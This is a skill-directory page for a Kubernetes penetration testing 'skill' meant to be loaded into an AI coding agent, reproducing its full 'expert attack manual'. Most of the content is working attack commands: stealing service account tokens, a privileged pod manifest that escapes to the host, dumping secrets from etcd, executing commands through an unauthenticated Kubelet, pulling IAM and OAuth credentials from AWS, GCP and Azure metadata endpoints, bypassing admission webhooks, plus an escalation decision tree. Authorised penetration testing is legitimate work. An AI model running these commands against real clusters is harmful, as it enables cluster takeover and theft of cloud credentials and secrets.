mcpField
K
kubernetes-pentesting

kubernetes-pentesting

github.com/yaklang安全2.6k3.8k 次安装6 周前更新
代码仓库

关于 kubernetes-pentesting

kubernetes-pentesting 是面向渗透测试人员的 Kubernetes 安全评估技能与手册,适用于已接触集群或 Pod 的场景,涵盖 API、RBAC、服务账户、节点路径、云元数据及集群控制措施。

主要功能

  1. 01Kubernetes API 与 RBAC 枚举
  2. 02服务账户令牌评估
  3. 03etcd 与 Kubelet 访问检查
  4. 04Pod 到节点的提权路径
  5. 05云元数据与准入控制
  6. 06网络策略评估

适用场景

  1. 01检查受控 Pod 中可用的权限
  2. 02排查集群暴露与配置错误
  3. 03评估 Kubernetes 中的云身份访问

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill kubernetes-pentesting

安装后在 Claude Code 中输入/kubernetes-pentesting确认已加载。

详细介绍

技能:Kubernetes 渗透测试 — 专家攻击手册

AI 加载指令:Kubernetes 专家级攻击技术。涵盖 API server 访问、RBAC 提权、服务账户令牌滥用、etcd 密钥提取、Kubelet API 利用、云 IMDS 访问(EKS/GKE/AKS)、绕过准入 webhook,以及规避网络策略。基础模型容易混淆命名空间范围与集群范围的 RBAC,也会忽略 Kubelet 未经身份验证的 API。

0. 相关路由

深入分析前,可考虑加载:


1. K8S API SERVER 访问

1.1 匿名访问检查
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
1.2 基于令牌的身份验证(Pod 内部)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 证书 / Kubeconfig 身份验证
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

2. RBAC 枚举

2.1 自身权限检查
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
2.2 Role 和 ClusterRole 枚举
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
2.3 危险的 RBAC 权限
权限风险提权路径
pods/exec严重在任意 Pod 中执行命令(访问密钥、令牌)
pods(create)严重创建特权 Pod → 访问节点
secrets(get/list)严重读取所有密钥,包括 SA 令牌
serviceaccounts/token(create)严重为任意 SA 生成令牌
nodes/proxy高代理访问 Kubelet API
对 role 执行 escalate严重为自己授予任意权限
对 rolebindings 执行 bind严重将任意角色绑定给自己
impersonate严重冒充任意用户/SA

3. 服务账户令牌滥用

3.1 令牌位置和解码
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
3.2 通过服务账户提权
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
3.3 令牌生成
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h

4. 直接访问 ETCD

# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

5. 从 Pod 逃逸到节点

详细逃逸链请参见 container-escape-techniques。

K8s 特有向量速查:

向量要求命令
hostPIDspec.hostPID: truensenter -t 1 -m -u -i -n -p -- bash
hostNetworkspec.hostNetwork: true访问节点服务(Kubelet、etcd)
hostPath /挂载主机根目录卷chroot /host bash
特权容器securityContext.privileged: true挂载主机磁盘 / 使用 nsenter

6. KUBELET API(端口 10250/10255)

curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

7. 特定云平台的攻击

7.1 AWS EKS — IMDS 访问
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
7.2 GCP GKE — 元数据 API
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
7.3 Azure AKS — 托管标识
# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token

# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE

8. 绕过准入 webhook

策略命令/方法
排除的命名空间kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → 使用被排除的 NS
failurePolicy: Ignore如果 webhook 服务端宕机 → 跳过准入检查
临时容器kubectl debug POD -it --image=alpine(可能不受其约束)
静态 Pod在节点上的 /etc/kubernetes/manifests/ 中放置清单(绕过 API 准入检查)

9. 容器镜像仓库访问

# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

10. 网络策略枚举与绕过

kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

绕过策略:DNS 数据外传(端口 53 很少被阻止)、通过允许的端口建立隧道、在未受保护的命名空间中创建 Pod、hostNetwork: true 可完全绕过 Pod 网络策略。


11. 工具

工具用途命令
kubectl与 K8s API 交互kubectl auth can-i --list
kube-hunter自动扫描 K8s 漏洞kube-hunter --remote TARGET
peirates在 Pod 内进行 K8s 渗透测试./peirates
kubesploit用于 K8s 的后渗透框架基于 Agent 的 C2
CDK容器/K8s 漏洞利用工具包./cdk evaluate
kubeletctl直接与 Kubelet API 交互kubeletctl pods -s NODE_IP
kubeaudit集群错误配置审计kubeaudit all

12. KUBERNETES 渗透测试决策树

Access to Kubernetes environment?
│
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd

评论

支持 Markdown